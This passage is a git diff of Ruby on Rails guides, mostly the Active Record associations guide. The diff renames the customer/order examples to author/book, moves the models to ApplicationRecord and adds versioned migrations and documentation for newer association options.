``` To disable the assets cache store: @@ -1314,25 +1279,27 @@ config.assets.debug = true And in `production.rb`: ```ruby -# Choose the compressors to use (if any) config.assets.js_compressor = -# :uglifier config.assets.css_compressor = :yui +# Choose the compressors to use (if any) +config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false -# Generate digests for assets URLs. This is planned for deprecation. +# Generate digests for assets URLs. config.assets.digest = true # Precompile additional assets (application.js, application.css, and all -# non-JS/CSS are already added) config.assets.precompile += %w( search.js ) +# non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) ``` -Rails 4 no longer sets default config values for Sprockets in `test.rb`, so +Rails 4 and above no longer set default config values for Sprockets in `test.rb`, so `test.rb` now requires Sprockets configuration. The old defaults in the test environment are: `config.assets.compile = true`, `config.assets.compress = false`, `config.assets.debug = false` and `config.assets.digest = false`. -The following should also be added to `Gemfile`: +The following should also be added to your `Gemfile`: ```ruby gem 'sass-rails', "~> 3.2.3" diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md index ec6017ff73..4977d4f30e 100644 --- a/guides/source/association_basics.md +++ b/guides/source/association_basics.md @@ -16,54 +16,54 @@ After reading this guide, you will know: Why Associations? ----------------- -Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this: +In Rails, an _association_ is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this: ```ruby -class Customer < ActiveRecord::Base +class Author < ApplicationRecord end -class Order < ActiveRecord::Base +class Book < ApplicationRecord end ``` -Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this: +Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this: ```ruby -@order = Order.create(order_date: Time.now, customer_id: @customer.id) +@book = Book.create(published_at: Time.now, author_id: @author.id) ``` -Or consider deleting a customer, and ensuring that all of its orders get deleted as well: +Or consider deleting an author, and ensuring that all of its books get deleted as well: ```ruby -@orders = Order.where(customer_id: @customer.id) -@orders.each do |order| - order.destroy +@books = Book.where(author_id: @author.id) +@books.each do |book| + book.destroy end -@customer.destroy +@author.destroy ``` -With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: +With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, dependent: :destroy +class Author < ApplicationRecord + has_many :books, dependent: :destroy end -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author end ``` -With this change, creating a new order for a particular customer is easier: +With this change, creating a new book for a particular author is easier: ```ruby -@order = @customer.orders.create(order_date: Time.now) +@book = @author.books.create(published_at: Time.now) ``` -Deleting a customer and all of its orders is *much* easier: +Deleting an author and all of its books is *much* easier: ```ruby -@customer.destroy +@author.destroy ``` To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. @@ -71,7 +71,7 @@ To learn more about the different types of associations, read the next section o The Types of Associations ------------------------- -In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: +Rails supports six types of associations: * `belongs_to` * `has_one` @@ -80,36 +80,38 @@ In Rails, an _association_ is a connection between two Active Record models. Ass * `has_one :through` * `has_and_belongs_to_many` +Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain [Primary Key](https://en.wikipedia.org/wiki/Unique_key)-[Foreign Key](https://en.wikipedia.org/wiki/Foreign_key) information between instances of the two models, and you also get a number of utility methods added to your model. + In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. ### The `belongs_to` Association -A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way: +A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author end ```  -NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too. +NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too. The corresponding migration might look like this: ```ruby -class CreateOrders < ActiveRecord::Migration +class CreateBooks < ActiveRecord::Migration[5.0] def change - create_table :customers do |t| + create_table :authors do |t| t.string :name - t.timestamps null: false + t.timestamps end - create_table :orders do |t| - t.belongs_to :customer, index: true - t.datetime :order_date - t.timestamps null: false + create_table :books do |t| + t.belongs_to :author, index: true + t.datetime :published_at + t.timestamps end end end @@ -120,7 +122,7 @@ end A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account end ``` @@ -130,29 +132,40 @@ end The corresponding migration might look like this: ```ruby -class CreateSuppliers < ActiveRecord::Migration +class CreateSuppliers < ActiveRecord::Migration[5.0] def change create_table :suppliers do |t| t.string :name - t.timestamps null: false + t.timestamps end create_table :accounts do |t| t.belongs_to :supplier, index: true t.string :account_number - t.timestamps null: false + t.timestamps end end end ``` +Depending on the use case, you might also need to create a unique index and/or +a foreign key constraint on the supplier column for the accounts table. In this +case, the column definition might look like this: + +```ruby +create_table :accounts do |t| + t.belongs_to :supplier, index: true, unique: true, foreign_key: true + # ... +end +``` + ### The `has_many` Association -A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this: +A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this: ```ruby -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` @@ -163,17 +176,17 @@ NOTE: The name of the other model is pluralized when declaring a `has_many` asso The corresponding migration might look like this: ```ruby -class CreateCustomers < ActiveRecord::Migration +class CreateAuthors < ActiveRecord::Migration[5.0] def change - create_table :customers do |t| + create_table :authors do |t| t.string :name - t.timestamps null: false + t.timestamps end - create_table :orders do |t| - t.belongs_to :customer, index: true - t.datetime :order_date - t.timestamps null: false + create_table :books do |t| + t.belongs_to :author, index: true + t.datetime :published_at + t.timestamps end end end @@ -184,17 +197,17 @@ end A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: ```ruby -class Physician < ActiveRecord::Base +class Physician < ApplicationRecord has_many :appointments has_many :patients, through: :appointments end -class Appointment < ActiveRecord::Base +class Appointment < ApplicationRecord belongs_to :physician belongs_to :patient end -class Patient < ActiveRecord::Base +class Patient < ApplicationRecord has_many :appointments has_many :physicians, through: :appointments end @@ -205,52 +218,54 @@ end The corresponding migration might look like this: ```ruby -class CreateAppointments < ActiveRecord::Migration +class CreateAppointments < ActiveRecord::Migration[5.0] def change create_table :physicians do |t| t.string :name - t.timestamps null: false + t.timestamps end create_table :patients do |t| t.string :name - t.timestamps null: false + t.timestamps end create_table :appointments do |t| t.belongs_to :physician, index: true t.belongs_to :patient, index: true t.datetime :appointment_date - t.timestamps null: false + t.timestamps end end end ``` -The collection of join models can be managed via the API. For example, if you assign +The collection of join models can be managed via the [`has_many` association methods](#has-many-association-reference). +For example, if you assign: ```ruby physician.patients = patients ``` -new join models are created for newly associated objects, and if some are gone their rows are deleted. +Then new join models are automatically created for the newly associated objects. +If some that existed previously are now missing, then their join rows are automatically deleted. WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered. The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: ```ruby -class Document < ActiveRecord::Base +class Document < ApplicationRecord has_many :sections has_many :paragraphs, through: :sections end -class Section < ActiveRecord::Base +class Section < ApplicationRecord belongs_to :document has_many :paragraphs end -class Paragraph < ActiveRecord::Base +class Paragraph < ApplicationRecord belongs_to :section end ``` @@ -269,17 +284,17 @@ For example, if each supplier has one account, and each account is associated wi supplier model could look like this: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account has_one :account_history, through: :account end -class Account < ActiveRecord::Base +class Account < ApplicationRecord belongs_to :supplier has_one :account_history end -class AccountHistory < ActiveRecord::Base +class AccountHistory < ApplicationRecord belongs_to :account end ``` @@ -289,23 +304,23 @@ end The corresponding migration might look like this: ```ruby -class CreateAccountHistories < ActiveRecord::Migration +class CreateAccountHistories < ActiveRecord::Migration[5.0] def change create_table :suppliers do |t| t.string :name - t.timestamps null: false + t.timestamps end create_table :accounts do |t| t.belongs_to :supplier, index: true t.string :account_number - t.timestamps null: false + t.timestamps end create_table :account_histories do |t| t.belongs_to :account, index: true t.integer :credit_rating - t.timestamps null: false + t.timestamps end end end @@ -316,11 +331,11 @@ end A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: ```ruby -class Assembly < ActiveRecord::Base +class Assembly < ApplicationRecord has_and_belongs_to_many :parts end -class Part < ActiveRecord::Base +class Part < ApplicationRecord has_and_belongs_to_many :assemblies end ``` @@ -330,16 +345,16 @@ end The corresponding migration might look like this: ```ruby -class CreateAssembliesAndParts < ActiveRecord::Migration +class CreateAssembliesAndParts < ActiveRecord::Migration[5.0] def change create_table :assemblies do |t| t.string :name - t.timestamps null: false + t.timestamps end create_table :parts do |t| t.string :part_number - t.timestamps null: false + t.timestamps end create_table :assemblies_parts, id: false do |t| @@ -357,11 +372,11 @@ If you want to set up a one-to-one relationship between two models, you'll need The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: ```ruby -class Supplier < ActiveRecord::Base +class Supplier < ApplicationRecord has_one :account end -class Account < ActiveRecord::Base +class Account < ApplicationRecord belongs_to :supplier end ``` @@ -369,17 +384,17 @@ end The corresponding migration might look like this: ```ruby -class CreateSuppliers < ActiveRecord::Migration +class CreateSuppliers < ActiveRecord::Migration[5.0] def change create_table :suppliers do |t| t.string :name - t.timestamps null: false + t.timestamps end create_table :accounts do |t| t.integer :supplier_id t.string :account_number - t.timestamps null: false + t.timestamps end add_index :accounts, :supplier_id @@ -394,11 +409,11 @@ NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and ex Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly: ```ruby -class Assembly < ActiveRecord::Base +class Assembly < ApplicationRecord has_and_belongs_to_many :parts end -class Part < ActiveRecord::Base +class Part < ApplicationRecord has_and_belongs_to_many :assemblies end ``` @@ -406,17 +421,17 @@ end The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model: ```ruby -class Assembly < ActiveRecord::Base +class Assembly < ApplicationRecord has_many :manifests has_many :parts, through: :manifests end -class Manifest < ActiveRecord::Base +class Manifest < ApplicationRecord belongs_to :assembly belongs_to :part end -class Part < ActiveRecord::Base +class Part < ApplicationRecord has_many :manifests has_many :assemblies, through: :manifests end @@ -424,22 +439,22 @@ end The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database). -You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model. +You should use `has_many :through` if you need validations, callbacks or extra attributes on the join model. ### Polymorphic Associations A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: ```ruby -class Picture < ActiveRecord::Base +class Picture < ApplicationRecord belongs_to :imageable, polymorphic: true end -class Employee < ActiveRecord::Base +class Employee < ApplicationRecord has_many :pictures, as: :imageable end -class Product < ActiveRecord::Base +class Product < ApplicationRecord has_many :pictures, as: :imageable end ``` @@ -451,13 +466,13 @@ Similarly, you can retrieve `@product.pictures`. If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: ```ruby -class CreatePictures < ActiveRecord::Migration +class CreatePictures < ActiveRecord::Migration[5.0] def change create_table :pictures do |t| t.string :name t.integer :imageable_id t.string :imageable_type - t.timestamps null: false + t.timestamps end add_index :pictures, [:imageable_type, :imageable_id] @@ -468,12 +483,12 @@ end This migration can be simplified by using the `t.references` form: ```ruby -class CreatePictures < ActiveRecord::Migration +class CreatePictures < ActiveRecord::Migration[5.0] def change create_table :pictures do |t| t.string :name t.references :imageable, polymorphic: true, index: true - t.timestamps null: false + t.timestamps end end end @@ -486,7 +501,7 @@ end In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: ```ruby -class Employee < ActiveRecord::Base +class Employee < ApplicationRecord has_many :subordinates, class_name: "Employee", foreign_key: "manager_id" @@ -499,11 +514,11 @@ With this setup, you can retrieve `@employee.subordinates` and `@employee.manage In your migrations/schema, you will add a references column to the model itself. ```ruby -class CreateEmployees < ActiveRecord::Migration +class CreateEmployees < ActiveRecord::Migration[5.0] def change create_table :employees do |t| t.references :manager, index: true - t.timestamps null: false + t.timestamps end end end @@ -525,17 +540,17 @@ Here are a few things you should know to make efficient use of Active Record ass All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: ```ruby -customer.orders # retrieves orders from the database -customer.orders.size # uses the cached copy of orders -customer.orders.empty? # uses the cached copy of orders +author.books # retrieves books from the database +author.books.size # uses the cached copy of books +author.books.empty? # uses the cached copy of books ``` -But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call: +But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call `reload` on the association: ```ruby -customer.orders # retrieves orders from the database -customer.orders.size # uses the cached copy of orders -customer.orders(true).empty? # discards the cached copy of orders +author.books # retrieves books from the database +author.books.size # uses the cached copy of books +author.books.reload.empty? # discards the cached copy of books # and goes back to the database ``` @@ -552,23 +567,23 @@ Associations are extremely useful, but they are not magic. You are responsible f When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author end ``` -This declaration needs to be backed up by the proper foreign key declaration on the orders table: +This declaration needs to be backed up by the proper foreign key declaration on the books table: ```ruby -class CreateOrders < ActiveRecord::Migration +class CreateBooks < ActiveRecord::Migration[5.0] def change - create_table :orders do |t| - t.datetime :order_date - t.string :order_number - t.integer :customer_id + create_table :books do |t| + t.datetime :published_at + t.string :book_number + t.integer :author_id end - add_index :orders, :customer_id + add_index :books, :author_id end end ``` @@ -577,18 +592,18 @@ If you create an association some time after you build the underlying model, you #### Creating Join Tables for `has_and_belongs_to_many` Associations -If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. +If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical book of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering. -WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings). +WARNING: The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings). Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: ```ruby -class Assembly < ActiveRecord::Base +class Assembly < ApplicationRecord has_and_belongs_to_many :parts end -class Part < ActiveRecord::Base +class Part < ApplicationRecord has_and_belongs_to_many :assemblies end ``` @@ -596,7 +611,7 @@ end These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key: ```ruby -class CreateAssembliesPartsJoinTable < ActiveRecord::Migration +class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0] def change create_table :assemblies_parts, id: false do |t| t.integer :assembly_id @@ -609,7 +624,20 @@ class CreateAssembliesPartsJoinTable < ActiveRecord::Migration end ``` -We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs, chances are you forgot that bit. +We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit. + +You can also use the method `create_join_table` + +```ruby +class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0] + def change + create_join_table :assemblies, :parts do |t| + t.index :assembly_id + t.index :part_id + end + end +end +``` ### Controlling Association Scope @@ -618,11 +646,11 @@ By default, associations look for objects only within the current module's scope ```ruby module MyApplication module Business - class Supplier < ActiveRecord::Base + class Supplier < ApplicationRecord has_one :account end - class Account < ActiveRecord::Base + class Account < ApplicationRecord belongs_to :supplier end end @@ -634,13 +662,13 @@ This will work fine, because both the `Supplier` and the `Account` class are def ```ruby module MyApplication module Business - class Supplier < ActiveRecord::Base + class Supplier < ApplicationRecord has_one :account end end module Billing - class Account < ActiveRecord::Base + class Account < ApplicationRecord belongs_to :supplier end end @@ -652,14 +680,14 @@ To associate a model with a model in a different namespace, you must specify the ```ruby module MyApplication module Business - class Supplier < ActiveRecord::Base + class Supplier < ApplicationRecord has_one :account, class_name: "MyApplication::Billing::Account" end end module Billing - class Account < ActiveRecord::Base + class Account < ApplicationRecord belongs_to :supplier, class_name: "MyApplication::Business::Supplier" end @@ -672,45 +700,45 @@ end It's normal for associations to work in two directions, requiring declaration on two different models: ```ruby -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author end ``` By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync: ```ruby -c = Customer.first -o = c.orders.first -c.first_name == o.customer.first_name # => true -c.first_name = 'Manny' -c.first_name == o.customer.first_name # => false +a = Author.first +b = a.books.first +a.first_name == b.author.first_name # => true +a.first_name = 'Manny' +a.first_name == b.author.first_name # => false ``` -This happens because `c` and `o.customer` are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations: +This happens because `a` and `b.author` are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations: ```ruby -class Customer < ActiveRecord::Base - has_many :orders, inverse_of: :customer +class Author < ApplicationRecord + has_many :books, inverse_of: :author end -class Order < ActiveRecord::Base - belongs_to :customer, inverse_of: :orders +class Book < ApplicationRecord + belongs_to :author, inverse_of: :books end ``` -With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient: +With these changes, Active Record will only load one copy of the author object, preventing inconsistencies and making your application more efficient: ```ruby -c = Customer.first -o = c.orders.first -c.first_name == o.customer.first_name # => true -c.first_name = 'Manny' -c.first_name == o.customer.first_name # => true +a = Author.first +b = a.books.first +a.first_name == b.author.first_name # => true +a.first_name = 'Manny' +a.first_name == b.author.first_name # => true ``` There are a few limitations to `inverse_of` support: @@ -744,7 +772,7 @@ The `belongs_to` association creates a one-to-one match with another model. In d When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association: -* `association(force_reload = false)` +* `association` * `association=(associate)` * `build_association(attributes = {})` * `create_association(attributes = {})` @@ -753,39 +781,43 @@ When you declare a `belongs_to` association, the declaring class automatically g In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author end ``` -Each instance of the `Order` model will have these methods: +Each instance of the `Book` model will have these methods: ```ruby -customer -customer= -build_customer -create_customer -create_customer! +author +author= +build_author +create_author +create_author! ``` NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. -##### `association(force_reload = false)` +##### `association` The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`. ```ruby -@customer = @order.customer +@author = @book.author ``` -If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument. +If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object. + +```ruby +@author = @book.reload.author +``` ##### `association=(associate)` -The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value. +The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value. ```ruby -@order.customer = @customer +@book.author = @author ``` ##### `build_association(attributes = {})` @@ -793,8 +825,8 @@ The `association=` method assigns an associated object to this object. Behind th The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. ```ruby -@customer = @order.build_customer(customer_number: 123, - customer_name: "John Doe") +@author = @book.build_author(author_number: 123, + author_name: "John Doe") ``` ##### `create_association(attributes = {})` @@ -802,8 +834,8 @@ The `build_association` method returns a new object of the associated type. This The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. ```ruby -@customer = @order.create_customer(customer_number: 123, - customer_name: "John Doe") +@author = @book.create_author(author_number: 123, + author_name: "John Doe") ``` ##### `create_association!(attributes = {})` @@ -816,8 +848,8 @@ Does the same as `create_association` above, but raises `ActiveRecord::RecordInv While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, dependent: :destroy, +class Book < ApplicationRecord + belongs_to :author, dependent: :destroy, counter_cache: true end ``` @@ -829,6 +861,7 @@ The `belongs_to` association supports these options: * `:counter_cache` * `:dependent` * `:foreign_key` +* `:primary_key` * `:inverse_of` * `:polymorphic` * `:touch` @@ -841,11 +874,11 @@ If you set the `:autosave` option to `true`, Rails will save any loaded members ##### `:class_name` -If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way: +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is `Patron`, you'd set things up this way: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, class_name: "Patron" +class Book < ApplicationRecord + belongs_to :author, class_name: "Patron" end ``` @@ -854,49 +887,58 @@ end The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer +class Book < ApplicationRecord + belongs_to :author end -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` -With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model: +With these declarations, asking for the value of `@author.books.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, counter_cache: true +class Book < ApplicationRecord + belongs_to :author, counter_cache: true end -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method. -Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to: +Although the `:counter_cache` option is specified on the model that includes +the `belongs_to` declaration, the actual column must be added to the +_associated_ (`has_many`) model. In the case above, you would need to add a +column named `books_count` to the `Author` model. + +You can override the default column name by specifying a custom column name in +the `counter_cache` declaration instead of `true`. For example, to use +`count_of_books` instead of `books_count`: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, counter_cache: :count_of_orders +class Book < ApplicationRecord + belongs_to :author, counter_cache: :count_of_books end -class Customer < ActiveRecord::Base - has_many :orders, counter_cache: :count_of_orders +class Author < ApplicationRecord + has_many :books end ``` -NOTE: You only need to specify the :counter_cache option on the "has_many side" of the association when using a custom name for the counter cache. +NOTE: You only need to specify the :counter_cache option on the `belongs_to` +side of the association. Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. ##### `:dependent` -If you set the `:dependent` option to: +Controls what happens to associated objects when their owner is destroyed: -* `:destroy`, when the object is destroyed, `destroy` will be called on its -associated objects. -* `:delete`, when the object is destroyed, all its associated objects will be -deleted directly from the database without calling their `destroy` method. +* `:destroy` causes the associated objects to also be destroyed. +* `:delete_all` causes the associated objects to be deleted directly from the database (callbacks are not executed). +* `:nullify` causes the foreign keys to be set to `NULL` (callbacks are not executed). +* `:restrict_with_exception` causes an exception to be raised if there are associated records. +* `:restrict_with_error` causes an error to be added to the owner if there are associated objects. WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. @@ -905,25 +947,45 @@ WARNING: You should not specify this option on a `belongs_to` association that i By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, class_name: "Patron", +class Book < ApplicationRecord + belongs_to :author, class_name: "Patron", foreign_key: "patron_id" end ``` TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. +##### `:primary_key` + +By convention, Rails assumes that the `id` column is used to hold the primary key +of its tables. The `:primary_key` option allows you to specify a different column. + +For example, given we have a `users` table with `guid` as the primary key. If we want a separate `todos` table to hold the foreign key `user_id` in the `guid` column, then we can use `primary_key` to achieve this like so: + +```ruby +class User < ApplicationRecord + self.primary_key = 'guid' # primary key is guid and not id +end + +class Todo < ApplicationRecord + belongs_to :user, primary_key: 'guid' +end +``` + +When we execute `@user.todos.create` then the `@todo` record will have its +`user_id` value as the `guid` value of `@user`. + ##### `:inverse_of` The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options. ```ruby -class Customer < ActiveRecord::Base - has_many :orders, inverse_of: :customer +class Author < ApplicationRecord + has_many :books, inverse_of: :author end -class Order < ActiveRecord::Base - belongs_to :customer, inverse_of: :orders +class Book < ApplicationRecord + belongs_to :author, inverse_of: :books end ``` @@ -936,20 +998,20 @@ Passing `true` to the `:polymorphic` option indicates that this is a polymorphic If you set the `:touch` option to `true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, touch: true +class Book < ApplicationRecord + belongs_to :author, touch: true end -class Customer < ActiveRecord::Base - has_many :orders +class Author < ApplicationRecord + has_many :books end ``` -In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update: +In this case, saving or destroying an book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, touch: :orders_updated_at +class Book < ApplicationRecord + belongs_to :author, touch: :books_updated_at end ``` @@ -967,8 +1029,8 @@ object won't be validated. By default, this option is set to `false`. There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example: ```ruby -class Order < ActiveRecord::Base - belongs_to :customer, -> { where active: true }, +class Book < 